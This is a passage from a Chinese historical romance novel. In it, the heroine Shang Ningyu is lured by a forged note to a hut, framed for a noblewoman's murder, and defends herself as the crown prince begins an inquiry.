语毕,她又忽然惊疑:“那是不是你哥哥?他与你好像,你不是说他今日不来吗?” 商凝言定睛望去,眉头一皱,那站在陆霁身边的,可不就是商凝言吗? 见他顶着寒风,面容苍白,弯腰忍不住咳嗽,却只躲在陆霁身后,真是又气又心疼。 便在这时,与朱先生说完几句话的方云婉,来到方云婷身边,乔玲儿知晓二人昨夜去给商凝语道歉的事,原本存在的隐忧去除,此刻也是无比轻松,向方云婉见礼,几人一同目向场中。 松林随风摇摆,帐篷中却温暖如春,靶场上的纵马少年们,热血沸腾,跃跃欲试。 方云婉看着一群白衣,嘴角上扬,须臾,目光微斜,凝向侧方身影,只见商家女娘子独自立在人群边角,也在看场中,双眉微蹙。 她顺着那目光望过去,只见有四五个监学男子聚集在靶场一角,正在抽签。 这场骑射也是以比试的方式开始,五人一团,轮流试射,中靶最多者胜,以抽签决定先后射靶顺序。 那里聚集着江昱、白池柊、商七娘的亲哥哥,还有两个不认识的白面书生。 果然还是看江世子,方云婉心中轻盈,嘴角扬起一抹浅笑,眼眸深处,却混沌翻涌,衔着困兽般的癫狂。 户部郎中的三子康奇,胆小怯懦,在国子监任读多年是个小透明,向来只读圣贤书,不管门前瓦上霜,反应也较旁人迟钝,但是这会儿,他瞅了瞅左右,敏锐地察觉,他这赛组,气氛有点诡异。 江昱掀开眼皮,盯着商凝言,道:“六郎何意?已经依着你的意思,抽了两次,这签为何又不作数?” 商凝言捂着嘴咳嗽,暗中皱眉,待咳嗽歇止,道:“抽签是为了公平,世子从中动用手脚,我看见了。” 白池柊摸了下鼻子,道:“六郎可不要胡说,瑾弋怎会做这种事,对吧?瑾弋。” 江昱嘴角扬起一抹邪魅的笑,视线转移,睨向陆霁,“陆公子也是这般认为?” 陆霁拿不定主意,在他眼里,江昱确实是像能决定顺序的样子,但是,他瞧不出其弄虚作假的方法。 江昱轻蔑一笑,从每个人手中夺过木签,列在掌心,然后按照数字大小顺序排列。 他动作缓慢,仪态漂亮,仿佛遇到任何糟心的事,也能有条不紊地整理好。 康奇木着眼看着,心道,穷讲究。 陆霁盯着他的动作,不说话。 商凝言抬眼,露出雪白的脸,想看他耍什么把戏。 江昱将数字大小不一的木签捋顺,送至众人眼前,问:“你们看看,我能如何作弊?” 每一根竹木上,描写了从壹到伍的数字,青底黑字,一目了然,便是木签背面的藤枝花纹,都是一模一样。 商凝言沉吟思索,方才,陆霁抽完签之后,他只看到江昱在每一根木签上摸了一把,至于他如何作弊,一时也想不通。 但是,他不会弄错,否则,怎会如此凑巧,抽了两次,江昱都在陆霁后一位。 江昱的目光再次盯向陆霁,眼神带着审视和试探。 陆霁沉吟片刻,目光从标记一样的木签移至江昱的手指,与他的粗糙不一样,江昱的指尖白嫩细润,在阳光下,带着叫人自惭形秽的细腻光泽。 陆霁道:“请问江世子,是不是触感灵敏,能摸出签上数字?” 商凝言和康奇一惊,齐齐拿起木签,用指腹在上面来回摩挲,确实有难以察觉的细腻纹路,但是,仅凭这一点触感就能判定?焉知,竹篾的细纹夹杂其中,根本难以分辨。 但江昱嘴角裂开一条弦弧,笑了,将木签递给他一根,道:“你来试试。” 字面朝下,陆霁仔细抚摸,半响之后,将木签交还给江昱,道:“世子技高一筹,算不得作弊。” 白池柊简直想捂脸走人,但还是不得不出口圆场,“咳,不如咱们重新抽,这次,由你们先来?” 江昱眉头一扬,不置可否的样子。 陆霁:“重抽也是一样,再者,这抽签也算不得什么。”顶多就是一个顺序。 “不,江世子先抽。”商凝言坚持为好友争取。 江昱看在他那张酷似某人的犟劲儿份上,让他一道,“行,我先来。” 说罢将木签递交给中立的康奇,康奇愣一下回神,赶紧接过来,放进竹筒,阖上盖子,用尽全身力气摇了摇竹筒,然后打开一个缝隙,朝向江昱。 江昱抬头仰天,很快随手抽出一根,拿起一看,位次最末,上显示一个“伍”。 众人看了眼,江昱眼角留意到,斜坡上,一道烟霞色身影,临风而立,此时,不自觉地上前了一步。 商凝言让陆霁先抽,陆霁抽了一个“壹”,江昱轻眨眼眸,后退一步。 靶场一角显然起了争执,连续抽了三次,别的队都已经一人结束,这厢才见陆霁上前,商凝语不禁猜疑,江昱又在耍什么把戏,是不是又要瞧不起他们外乡人。 文人相轻,在利益驱使下,翰林里捧高踩低的人多得是,但她不想让陆霁在高中之前,受这种无谓的轻视,更怕江昱目中无人,再随机重伤陆霁。 别处喝彩声争相传来,陆霁踩鞍上马,先稳住身形,在他的驱使下,棕色马温顺的向前跑去,他再拔出身后箭羽,对准靶心,射出一箭,而后再拔箭,连射三次。 连中七环。 商凝语展颜,露出愉悦的笑容。 他们的骑射,都是商晏竹亲自教授,不过,陆霁一向专注学业,疏于骑射,不像她,闲暇功夫多,能射中七环,已经是不错的成绩。 而后是康奇、白池柊和商凝言轮番上场。 康奇技术不精,三箭中一,只有三环,萎顿地走到一边。 白池柊瞥了眼江昱,十分有技巧地,射中两箭,两箭有别于陆霁的箭矢,错落在靶圈的另侧,一箭射空。 商凝言风寒未愈,体力不支,最后与白池柊一样,一箭落空,两箭落在靶上。 最后,轮到江昱。 这厢女娘们早就等候领略江世子风采,一见江昱上马,纷纷凝神望去,唏嘘窃喜声,不绝于耳。 因着书生们箭术不精,组队人数不多,因此没有另外安排书童去拾箭羽,江昱踩上马鞍时,几只箭矢还挂在箭靶上。 众人屏住气息,都知道江世子吃喝玩乐,无一不精,而这骑射一项,更是精益求精。 只见江世子纵马而来,寒风瑟瑟,世子的貂裘在空中猎猎翻飞,身姿□□,威风赫赫,单手持弓,另一手臂高抬,在空中五指张开,修长指尖触碰到身后箭矢,三箭齐出。 世子搭弦拉弓,挺鼻薄唇,目光紧锁箭靶,侧脸犹如骨雕刻画,鬼斧神工般俊美无涛,风姿飒飒,在众女殷切目光中,松开手指。 风声鹤唳,三箭齐中。 众女喧哗,然而,下一瞬,声音仿佛陡然掐灭,万籁俱寂。 商凝语同样朝靶心望去,心一沉。 的确是三箭齐中,然而,三箭都准确无误地,钉在了陆霁的箭矢上。 箭矢碰撞,后者更深一层,转眼间,原有的三支箭羽在空中震颤两下,连连掉落。 第53章 山坡上, 女娘们一阵喝彩,掌鸣不绝。 商凝语面色阴沉,咬碎牙龈瞪着江昱。 江昱似有所感, 回过头来,对上她的视线, 目光如电,直摄心防。 天高云淡,这一刻, 所有的心思都露在天光之下, 她的维护,他的挑衅,都在彼此眼中映成清晰的倒影。 二人旁若无人地遥遥对视,别人毫无所觉,方云婉收回目光,嘴角扬起一抹轻蔑的笑。 她的清白已经没了, 平亲王无才无德, 赵烨城更是浪荡子,一旦成亲, 她的好日子也就到头了,但是,她怎么能放过这些人? 那日若不是商明惠骤然出现,太子不会突然背弃她。 习艺馆后院, 若不是江昱撞破她和乔文川的好事, 她一番谋划, 能嫁进乔家,也算一桩美事。 是祖父!以为圣上要除太子和乔氏一党,弃车保帅, 才选择了赵烨城这个不学无术的宗室子弟! 她的人生算是毁了,但是没关系,便是蚍蜉撼树,她也要在这些人身上啃下几块碎骨。 赵曦就是个道貌岸然的伪君子,他最在乎名声和地位,她就断他一条臂膀,眼下禹王殿下与太子势力相当,断去一臂,就是让他今后都在胆战心惊中度过。 最可恨的是商明惠,不过她近日也细查了她,她也甚是可怜,爱而不得,让她好好的嫁给太子就是对她最大的折磨。 虽然如此,她也不会这么轻易地放过,听闻她这个妹妹回京之后,她格外宝贝,不仅带人四处结交,而且带去国公府过眼,可见,她很在乎她父亲和那个后来的小家。 动她这个幼妹,可是一举两得,不仅让她那个小家破碎,而且让江昱也尝尝失去所爱的滋味! 众人骑射过后,女娘们开始作画,商凝语画了一个群像,学子三两成群,人物不需要细致,线条勾勒,便成一副气派画作。 大约半个时辰后,女娘们相继离去,商凝语也将画作收尾,远远见着太子来了。 她目光看向方云婉,方云婉脚步稍作停留,深深看了一眼面容皎洁的赵曦,已经走出几步的方云婷回过头来,扯了一下她的衣袖,面露担忧。 方云婉回头,微笑,随方云婷一起离开。 商凝语最后看一眼靶场,只见众人朝太子行礼,而江昱高坐骏马之上,不知是未瞧见,还是未控制好骏马,背朝太子远离数十步方才停下,跃下马来,朝太子拱手。 那姿态随意懒散,若非知情人,当真会误以为,他气焰嚣张,将太子都不放在眼里。 当日傍晚,点翠去后厨拿膳食,她去得早,菜色丰盛,精选了四个菜,放进食盒,拎着篮筐回去。 半途中,迎面走过来一个双手蜷缩在袖口里,埋首走路的侍女,看不清面容,点翠并未在意,却被她一不小心撞了一下,篮筐里的碗碟发出清脆的碰撞声。 对方连忙点头道歉,点翠也不想仗势欺人,查看膳食没有问题,就说“没事”,一抬眼,却见对方已经快步离去,只留下一个远去的背影。 点翠差点没气个倒仰,眼见人已经走远了,只好拿着食盒回去,商凝语看出她闷闷不乐,走过来询问,一边打开食盒,将菜碟一一端出来。 “这是什么?”拿到最后一盘菜碟,发现下面放着一张纸条,和一把钥匙。 商凝语望向点翠,点翠一脸懵,摇了摇头。 商凝语打开字条一看,上面写着几个字:今夜戌时末,南庭靶场,不见不散。 字迹工整,与上次的春蚓秋蛇不同。 是江昱。 商凝语猛地起身,心中一阵惊惶气闷,此人也太嚣张了,也不看看这是什么地方,命随从混进来也就罢了,竟然还递东西,这个院子,那么多女娘看着呢! 她一把将字条捏进掌心,围着屋子转了一圈,发现没有地方可藏,最后目光一定,将字条放进妆奁的最下面。 “娘子,是谁,你不去吗?”点翠惊诧地问。 商凝语冷哼,在桌前坐下,拾起竹箸,道:“我再去我就是狗。” 冬日的夜晚来得早,酉时中,天色就暗淡下来,远处可见寒鸦归巢。 商凝语早早熄了灯,各屋也渐次落入夜色,方家两位女娘的屋也同样,不一会儿,整个院落进入阒寂,直至戌时初,一条头戴斗篷的身影悄无声息地走出院落。 商凝语躺在床上,辗转反侧,明月高悬,微薄月色透过窗纸,在地面上投下一点暗淡阴影。 她心里想着,江昱找她到底所为何事,是还想与她说贵女的择婿之道,还是 打住,不能想!一想到江昱不知何时抱了这个心思,而她竟然在不知情的情况下答应他的施教,整个人就不好了,仿佛被人扒光而不自知。 让她的行为像是戏文里常说的欲擒故纵,令她十分鄙视的行为。 最重要的是,他那日要做她先生时,怎么说的? “怎么不熟?我们一起打过马球,一起偷听别人私会,我给你指导过花艺,你救过我一命,而且,你还知道我的秘密。” 当时没有察觉,这会儿,鬼使神差的,商凝语就觉得这最后一句话,说得怎么那么暧昧呢? 这让她的良心感到不安,总觉得,应该和江昱说个清楚,一刀两断。不是,从来就没连过,也不叫“断”,总之,就是那个意思。 转念一想,就应该撂开他,让他知难而退,一心一意等陆霁高中。 但是,商凝语这个人就是好奇,就是心里存不住事,更不愿让麻烦搁着,成为随时会爆的火烛。 戌时末到了,西庭墙外,村落里远远传来更鸣声。 商凝语让自己放空思想,渐渐入眠,就在思绪涣散之际,忽然有什么东西砸破窗纸,掉了进来,在地上滚了好几圈停下。 “谁?”点翠猛地惊醒,以迅雷不及掩耳之势奔向窗口,黑影来得悄无声息,去得却很仓促,没想到屋内人如此警醒,原本逃回的方向倏地转变,消失在院子出口。 商凝语点燃火烛,拾起地上绢布,将里面包裹的石头放在桌上,打开绢布一看,里面只有一句威胁的话:若是爽约,后果自负。 商凝语:“”这个路数有点熟。 商凝语顿时起了疑,问点翠:“可看清是谁了?” 点翠摇头,目光阴狠:“是院子里的人,听到动静往外跑去了。” 这个院子很大,四方住了大约有十来号女娘,加上侍女,就有二十来号人物,但不排除,主仆合谋,想查是谁,很难。 但是怀疑对象,显而易见,只有一个。 商凝语略作沉吟,吩咐点翠,“你先去敲方云婉的门,就说我今日见她面色不大好,想问问她是不是染了风寒,我这里有药,问她要不要。” 点翠颔首,拿起桌上油灯出去,一路用掌心掩护灯芯,商凝语来到窗棂前,透过窗棂缝隙往外看。 果然,点翠敲了半天,没人。 但是,点翠敲门的声音引来了尚未熟睡的方云婷,方云婷在侍女的陪同下,打开门走了出来,借着烛火,待看清点翠的面容,立刻蹙起眉头,低声质问:“你在这里做什么?” 点翠镇定心神,不慌不忙地将商凝语教的话转达一遍。方云婷目光扫了一眼旁边紧闭的门,虽然她不知道姐姐此刻为何不在,但她也不信点翠的说辞。 什么药,需要煎到这个时候来喝? “我姐姐安然无恙,多谢商娘子挂心,这里没你的事,你回去吧。” 方云婷说。 点翠只好离开,方云婷在方云婉门前停留片刻,正欲敲门,忽然看见方云婉的侍女从院子外小跑回来,黑灯瞎火,她在门口撞见方云婷,面露惊讶:“小娘子,你怎么在这儿?” 点翠此刻已经回到屋中,阖上门,灭了烛火,凑到商凝语身边,主仆二人一同盯着窗外。 方云婷惊疑地问:“你出去了?我姐姐呢?” “嘘。”侍女伸出一根手指,抵在唇上,小声道,“娘子入夜染了风寒,婢子方才去后厨熬了药给娘子喝下,娘子现在正熟睡呢。” 说着,用手指了指屋内。 方云婷没有怀疑,闻言松了口气,“那你好好照顾姐姐,我明日一早来看她。” 商凝语看着方云婷回到屋中,方云婉的侍女也进门,开门的瞬间,灯火照亮她的面容,她的脸上容色如常,并无异处。 点翠看着商凝语,小声问:“娘子,怎么办?” 商凝语静默。 她现在又怀疑并非方云婉故技重施,那张字条的确是江昱的字迹,这最后半句,莫非是他果真要对陆霁不利? 思考片刻后,她决定:“去看看。” “我也去。”点翠立刻道。 商凝语没有拒绝,主仆一前一后出门,月黑风高,树影婆娑,二人小心打开院门,走了出去。 方云婉的屋内,侍女听见对面传来的动静,轻轻抚弄胸口,缓了口气。 南庭距离西庭有一点距离,用钥匙打开中间的锁门,绕过曲水回廊,几间屋舍,方才来到白日画画的小山坡,但此刻,这里寂静无人,她环顾四周,看见不远处,有一处烛火昏黄的小屋。 应该就是那里。 商凝语留了个心眼,吩咐点翠在这里等候,自己则下了石阶,穿过稀疏松林,来到小屋门前。 她掀开兜帽,仰头望着小屋,门楣上写着“香琳居”三个小字,字迹斑驳,漆色掉落,可见屋子年久失修。 商凝语拾级而上,侧耳贴在门板上静听,半响听不出一丝动静,才缓缓地推开一条缝隙。 一股幽香传来,极为浅淡,尚来不及细品,就被灌入的冷风瞬间吹散。 商凝语并未急着进入,立在门槛外,透过缝隙往里面仔细打量,屋内纤尘不染,一桌一椅,陈设简陋,唯有一盏烛火在寒风中跳动。 她又将门推开一点,方才被门板挡住的侧面,露出一张床,垂落的青幔,在风中浮动,荡起一圈圈波纹,依旧是空无一人。 几乎是瞬间,商凝语脑中警铃大作,可惜已经迟了,颈后立刻传来一阵剧痛。 昏迷之前,她心想,风水轮流转,江昱,你可一定要来! 第54章 商凝语从阵痛中醒过来, 意识复苏之际,感觉脑袋像是被人拧下来,又重新装上去一样。 她双手撑地, 想要起身,触手却是一片濡滑腻, 指尖轻动,鼻尖隐约飘来血腥,微微睁开眼眸, 才看见自己倒在血泊中。 而她的手中, 正拿着一把沾血的匕首。 便是她动弹的瞬间,耳畔传来木椅挪开,与地板摩擦过的刺啦声,仿佛有人一直在等这一刻,见她起身,猛地惊醒。 惊呼:“七娘, 你这是做什么?” 忽然又低声自语:“怎么回事, 你怎么这么快就醒了?” 商凝语惊讶地抬头,看到一张陌生的脸, 不对,有点眼熟,但是不记得在哪里见过。 对方相貌一般,身上穿着锦衣华服, 此刻, 腰带散落, 外衣被扒了一半露出肩上雪衣,头上发髻凌乱,青丝飘零, 发冠也不知丢去了何地,整个人像是被人狠揍过,原本装出来的急促呼吸,在发现屋外无人后渐渐平息。 而地上血泊里,倒着一具伏尸,看背影,不知是谁。 商凝语扶着木桌站直,试图感受一下身体状况,大约打晕她的人并未将她这个女娘当回事,又有一个成年男人看着,所以,除了脖颈一点疼痛外,身体其他地方都很好。 她庆幸之余,以目光打量面前陌生男子,片刻后,判出对方是敌非友后,慢慢地,握紧了匕首。对方察觉她的意图,微微一愣。 屋外寂静无声,室内忽然剑拔弩张。 事不宜迟,若是能直接将此人劫持,或许会有一线生机,商凝语目露狠色,朝陌生男子刺去。 她体会到,上次江昱想要杀那名老内监的心情,多恨啊,怎么会有人恶毒的用这种方式去陷害一个素未谋面的女娘! 陌生男子想要反抗,却发现此女力气不似寻常女子柔弱,而且,她手中持有利刃,不敢正面敌对,转身抱头鼠窜。 屋外隐约传来脚步声,随后又传来几声打斗,接着,一连串的脚步声响起,似乎来了不少人,有人惊呼:“江昱,你怎么在这里?” 商凝语心神一凝,看来已经来不及了,心念急转,她扔了匕首,反手给自己重重地扇了一巴掌,又去动地上的尸体。 尸体翻开,果然,是方云婉。 她咬紧牙关,去解方云婉的衣襟。 一套动作干劲利落得令对面男子目瞪口呆,须臾,外面再次传来动静,似乎已经有人走到门口,男子猛地回神,高喊:“七娘,你这是做什么?” “啊,婉娘,你怎么了?” 江昱察觉屋内有异时,为时已晚,逃走已经来不及,乔文川带着国子监的刘管事前来,身后几名随从高举火把,不一会儿,小屋门前,灯火通明。 就在他迟疑的瞬间,听到里面传来高喊,心中一急,顾不上身后人的叫唤,率先推开门。 看清屋内一切的瞬间,他瞳孔骤缩。 室内血迹斑斑,商凝语跪在血泊里,脸色苍白,发髻凌乱,衣衫被人扯了露出雪白中衣,仿佛一朵被摧残的牡丹。 不用猜也能知晓,这里方才发生了什么,江昱目眦欲裂,冲过去时,心中后悔极了,早知,他应该早点过来的。 与商凝语不同,他拿到字条,当真以为那是商凝语写的字。 商凝语在练习茶艺时有做笔记的习惯,尤其是在江昱带去诸多茶叶时,她特意拿出小本,将江昱对各冲茶特色的心得记录下来。 她写的一手漂亮的簪花小楷,令他印象深刻。 字条上约见的是亥时初,他原本想早一点到,但在戌时末,踌躇了。 他以为,她约他见面,是为白天的事抱打不平,他多恨啊,恨她的迟钝,恨他自己没有早点看清,更恨她既然决定要嫁陆霁,为何要进习艺馆,学老什子贵女养性技艺。 心仿佛被人用刀子戳破,他恨恨地想,他就不去,让她等着,等到亥时三刻,再去见她一面——再去面对她那固执又倔强的神情。 但是,最终又没忍住,终是按时来了,可是,他后悔了,早知道,他一定提前到,哪怕早到一步,她就不会这样了。 商凝语被江昱脱下的氅衣罩住,露出一张精致的泪容,她看着他,双手颤抖,指着男子道:“是他,杀了方娘子,他还要杀我。” 江昱猛地抬头,一双眼仿佛衔天之怒,愤视着男子。 男子不禁后退一步,震惊地看着小娘子,门口传来动静,乔文川踏步走了进来,目光沉沉,扫视屋内一周,问男子:“赵烨城,这是怎么了?” 赵烨城如梦大醒,猛地道:“胡说!明明是你杀的,七七娘,你怎么能这样?” 说着,他口气一转,做出悬泪欲泣模样,似乎想要上前靠近商凝语,但是又被江昱的眼神逼退,只能站在原地,垂丧道:“七娘,你我私定终身已有数月,我心中对你更是情根深种,这颗心,此生唯你一人。只是婚约乃是父母之命,我无法反驳,我早答应过你,只待成亲过后,就迎你过门,她虽然占据主母之位,但是我绝不会叫你受半分委屈,你这是又何苦呢?难道非要杀人才能安心吗?也罢,你说是我杀的就是我杀的吧,我这条命,今生都是你的,只盼来生,能与你做一对恩爱夫妻。” 这套说辞,可谓真情流露,说者声情并茂,令人动容。 江昱牙齿磨得咯咯响,拳头骨节攥紧,手背青筋暴突,恨不得亲手杀了此人。 赵烨城从慌乱中镇定,言之凿凿,乔文川眼眸深沉,似乎是信了几分,但目光流转到江昱身上,又迟疑起来。 片刻后,他还是对刘管事道:“原来是因私生恨导致的一桩命案,直接命人送去京兆府。” 额,刘管事面露迟疑。 江昱冷声质问:“乔大公子这是只听一面之词,就叫京兆府定罪?” 乔文川面不改色,“此女杀人,人证物证具在,全部交给京兆府定夺便是。” “何来人证?何来物证?”不等乔文川回答,江昱直接说道,“此事必须查个清楚,况且,此事牵扯艺馆女学,应该先将此事通知艺馆主事,赵烨城是随刘管事来的行苑,刘管事也应当做个主持之人。” 刘管事不愿接这烫手山芋,赶紧应是,说艺馆主事今日傍晚已经回城了,立刻派人去请朱先生,很快,朱先生脚步匆匆赶来,见到现场血迹,当场骇得面容失色,连连退拒,说要禀明太子,让太子定夺。 乔文川没想到连续两个都是不顶用的,皱着眉头道:“太子公务繁忙,怎能让这等小事打搅太子?” 商凝语正跪在地上,闻言,一下子攥紧了手里的衣袖,江昱垂眸,二人对视,福至心灵。 事发突然,二人都未找出头绪,艺馆注重女子名声,江昱才说要通知艺馆,以拖延时间。 但方云婉与太子和乔文川双双苟且的事,别人不知,他二人却是一清二楚,方云婉这么会突然死在这里?又是谁构陷她? 显然,面前这个声情并茂的男子也是被人利用,听他的口气,他应该就是方云婉的那个未婚夫,平亲王世子,或许,他也不知道是谁杀的方云婉。 既然如此,乔文川和太子才是最大的嫌疑,乔文川不愿让太子前来,难道是保护太子? 以商凝语的局限,只能想到这里,但江昱却思考的更多,当机立断,他立刻决定将太子牵扯进来。 “人命关天,我看还是请太子来得比较好,否则,亲王世子犯罪,谁敢捉拿?是乔文川你吗?” 赵烨城眼珠子一瞪,“谁,谁犯罪了?江昱,你空口无凭,冤枉好人!” 没有人听他说话,商凝语看到他就想作呕。 乔文川外表文弱,实则独断专行,乔家人背靠乔贵妃,从上至下,横行多年,赵烨城空有亲王世子头衔,素日受他欺压,敢怒不敢言。 而江昱和乔文川,一个是京城纨绔,一个乔家贵子,二人平日井水不犯河水,一同参与活动也是各行其是,但对彼此性情,都了如指掌,心中不屑一顾。 赵烨城毕竟是宗室子弟,乔文川能在平日欺压他,但绝不敢当面担下江昱这句话,闻言,面色一紧。 江昱不给他拒绝的机会,朝刘管事恭敬道:“还请刘管事再派人,去请太子前来,另外,还要通知忠勤伯府的六公子,以及方娘子家人。” 朱先生立刻说,方小娘子就在行苑,刘管事颔首,转身派一名随从去到艺馆那边请方小娘子前来,又吩咐人去请太子,并告知忠勤伯府的两位小公子。 趁着等人的功夫,商凝语已经悄悄在氅衣下面整理好衣襟,她的衣衫并未扯得太狠,此刻想将氅衣脱下来交还给江昱,江昱却按住了她的肩头,又提议,要派人查封行苑,并派各府院学子将在场几人暂住的屋舍全部看住,以防有人毁灭证据。 刘管事心道,这当了差事果真不一样,办事条理清晰,一点也不含糊。 他扫了一眼商凝语,拜托朱先生前去找几个可靠的女娘,守住她和方云婉的屋舍,这次,他没请示乔文川,而是将目光投向闻讯赶来的中郎将。 此人是国子监学生前来行苑时,临时请来保护安全的护卫,姓佟,名绥。 佟绥听后,立刻吩咐下去,将行苑封锁。 商凝语心中一惊,惊惶地看向江昱。 江昱回望她,眼眸深深,商凝语皱下眉头,心中不安起来,若是要查她的住处,可能会找到那两张字条,这,就会有说不清的误会。 江昱垂眸看她,将搭在她肩上的手收了回来。 很快,太子来了,刘管事提前提议,将众人带去隔壁屋子,太子在来的路上,佟绥禀报事情,说有个方家女娘死了,只有另一位女娘和平亲王世子在场。 太子吩咐随行内侍,派人去验尸。 第55章 在佟绥派人封锁行苑之前, 随后赶到的谢花儿,看见江昱的暗示,点了点头, 悄然转身离去。 小屋这边灯火通明,点翠顾不上许多, 也跑了过来,顶替江昱,守在商凝语身边, 不一会儿, 太子赶到,商凝言和陆霁也闻讯而来。 陆续进来的人,赵烨城都没有在意,只在太子进来时,行了大礼。 片刻后,众人全部聚集在隔壁屋舍, 有一位曾经协助刑部办案的禁军子弟, 去往隔壁查验尸体,回来向端坐高位的太子禀报。 “死者死于心口刀伤, 一击毙命,伤死时辰大约在半个时辰之内,死前有过争执扭打,身上有轻微擦伤, 脖子上还有很重的掐痕, 应该生前被人勒过脖子, 有过昏迷。” 太子颔首,刘管事赶紧上前,将事情经过禀述一遍, “事发突然,又牵涉两位娘子清白,下官不敢做主,只能请太子前来主持公道。” 朱先生浑身颤抖,也道:“请太子做主,还艺馆一个清白。” 太子抬首,温文尔雅道:“你们放心。”目光在几人身上扫过,最后从商凝语身上移到赵烨城身上,问:“你先说说,是怎么回事?” 自从太子进屋,商凝语和赵烨城跪到堂下,江昱就不动声色地退到刘管事身后,双手环抱,姿态悠闲,眼睑下,眸光深邃。 赵烨城哭诉,将先前一番说辞复述一遍。 道:“我与七娘早就相识,但是婉娘与我有婚约在身,我也是身不由己,只是没想到七娘不甘心,要与婉娘说个清楚,婉娘也是气急了,这才发生争执,太子殿下,您不用审了,是我,都是我的错,求您放过七娘吧。” “你放什么狗屁!”商凝言怒不可遏,却被点翠捷足先登,点翠从旁冲了过来,用拳头招呼上去,“我家娘子根本就不认识你,你做什么春秋大梦,就你?也配说我家娘子不甘心,你府上没有镜子就去撒泡尿照照自己,猪狗不如的东西。” 岭南风气剽悍,民妇骂起人来口不择言,这一刻,江昱眼睛一亮,妈的真好!就连陆霁,也松了牙关,放开滞住的商凝言。 内侍上前大喝:“大胆,太子面前也敢胡言乱语,来人,拉下去,杖责三十大板。” 佟绥眼神示意,两名侍卫正准备上前,江昱以指尖拍嘴,打了个响亮的哈欠,道:“忠仆护主心切,你这个奴才才胆大包天,太子向来仁慈,何时因为这等小事责罚下人?没得耽误大家回去睡觉的时间。” 内侍这才发现,原来江世子也在,顿时吓得额间冒汗,这位世子,说以下犯上,他当众对太子褒多贬少,可要说他尊敬太子,总能使些小动作,每每叫太子气得背地里发疯泄愤。 原以为上次教训能让他再消停几年,没想到他变本加厉,更加肆无忌惮。 赵曦早就注意到他站在那里,抬手制止了侍卫,淡道:“这里没你的事,你若是累了,可以早点去歇息。” 刘管事一顿,太子是好意,可惜没有瞧见方才他紧张商娘子那神情,说他吃了平亲王世子也不为过,他与商娘子的关系,不言而喻,令人心忧。 江昱却道:“不,这里有我的事,太子先审案吧,我等会再说。” 赵曦不知道他葫芦里卖的什么药,只能按捺不动,转而继续问:“商七娘,赵世子所言,你有何话可说?” 商凝言在心里已经很快将事情捋顺了一遍,觉得这是有人想要栽赃陷害—— 她先前判断有误,写下字条引她和江昱前来的人应该正是方云婉,只是不知她究竟是何目的,又为何被人杀死,对方是不是察觉她的目的,亦或是,对方也是她的目标之一,而后被察觉,将她反杀。 按照这个顺序,凶手是想利用赵烨城,嫁祸给她。 但是能利用赵烨城,方法太多了,此人就是个蠢猪,能利用他的人,不知道能有谁。 她一时想不出凶手是谁,只能先自保,“回禀太子殿下,臣女想问赵世子几句话。” 赵曦面容平静,道:“好,你问。” 商凝语垂首,侧对平亲王世子,“不知赵世子,我的闺名叫什么?” 赵烨城轻笑:“你的闺名中,有一个语字,你我相识一场,这就不便多说了吧?” “好,但不知我与赵世子,相识多久?初见又在何地?” 赵烨城顿时卡壳,不过,他惯于游戏花丛,反应也极快,“这么久远的事,我如何记得?我知道,你对我心中有气,这又是对我的另一重考验,也罢,此事是我理亏,以后我会补偿你的。” “久远?”商凝语轻笑,“莫非是两年前的事?” 赵烨城老神在在,“对,就是两年前。” “胡说,你与乔公子状告时,说你我相识一载。” “你才胡说,我方才根本没有说过这话。”赵烨城心中得意。 商凝言甩开陆霁的手,阴恻恻道:“赵世子,我兄妹二人今年盛夏时节方第二次回京,上一次回京,还是蹒跚学步的时候,不知你与我幼妹两年前,何时何地见的面?” 赵烨城瞠目结舌,他不认识商凝语,但是认识商凝言,眼睛瞪了半响才反应过来,此七娘就是那个远调岭南十数载的商三爷家的女儿,心中顿呼大意,又恼恨背后之人没有事先提醒他。 支支吾吾道:“是这样,我两年前去岭南游玩,有幸与七娘在乡野见过一面。” 这样的说辞,在场的人几乎没有人信。 但也没有人戳穿,太子脸阴沉下来,商凝语叩首,道:“臣女在傍晚时,收到一张字条,约臣女在这里见面,不瞒殿下,臣女昨日与方小娘子起了争执,方娘子来了之后,与我道歉,我不接受,我们又不欢而散,故而,当我收到字条时,我以为方娘子私下有话要对我说,所以才深夜前来,没想到一进屋子,就被人打晕了,醒来就见到赵世子,而方娘子已经晕倒在地,我也不知是死是活。” 方云婷在隔壁屋子认领完尸体,在侍女的搀扶下,脸色苍白,面容惊惶地走了进来。 听到其中某句,微微一愣,耳边响起在来的路上,一名侍从对她说的话。 “乔公子闯进去时,就只见到商家七娘子手持匕首,你姐姐已经晕倒在地,经查验,气绝身亡。” 方云婷忽然全身力气聚拢,推开侍女,冲到商凝语面前,迎面给了她一巴掌。 控诉道:“你说谎,我对你道歉,你已经接受了,是你怀恨在心,杀了我姐姐。” 商凝语被打得脸颊麻木,转过脸来立刻反问:“是吗?你对我道歉有什么用?我前日就说过,你应该向我的侍女道歉,那日,是你谎称损坏宫中之物,打骂我的侍女,这点,乔娘子可以作证。” 她故意提及诋毁宫物之事,方云婷一时慌乱,紧张地看向太子。 听到动静,和方云婷一前一后进屋的乔玲儿,此刻,立在乔文川身侧,闻言,也看了一眼太子,见太子侧头看过来,嗫嚅道:“商娘子所言,句句属实。” 商凝语抹了一下眼角,像个受了屈辱却不愿屈服的卑弱女娘,继续道:“你仗势欺人,道歉也是威逼利诱,叫我如何能服?方云婉不愿逼你,我可以理解,原以为她要私下与我见面给予补偿,我深夜赴约,何错之有?” 眼见她说得越发逼真,方云婷气血上涌,再次冲上前,“你胡说八道,看我不撕烂你的嘴。” 商凝言和陆霁同时上前阻拦,方家两名侍女也参与其中,眼见场面混乱,内侍觑一眼太子神色,连忙大喊:“大胆,太子在此,岂容你们放肆!” 商凝语有二人护持,倒是没有再挨打,方云婷颤抖地跪在地上,向赵曦磕头,道:“我姐姐死得凄惨,求殿下给我姐姐做主。” 赵曦最烦吵闹,但是此女是死者亲妹妹,还牵涉事发前由,一时间不能将其赶走,只能耐着性子宽慰几句,方云婷听出太子的不耐,不敢再造次,抹着泪唯唯诺诺应是。 乔文川说道:“此次进入行苑,各位女娘身边都有侍女陪同,方娘子的侍女何在?” 方云婉的侍女连翘连忙跪上前,道:“婢子在。” 商凝语自己胡言乱语一通,七分真,三分假,深知此刻定有人也会混淆视听,歪曲事实,立刻道:“臣女在来这里之前,为防上当受骗,特让侍女点翠前去查探,当时就见这位侍女从外面回来,却不见婉娘子踪影,恰巧方小娘子也出来见了一面,只是不知,这位侍女如何向方小娘子解释婉娘子踪迹。” 江昱嘴角微翘,还真是聪慧的女娘,一点机会也不放过。 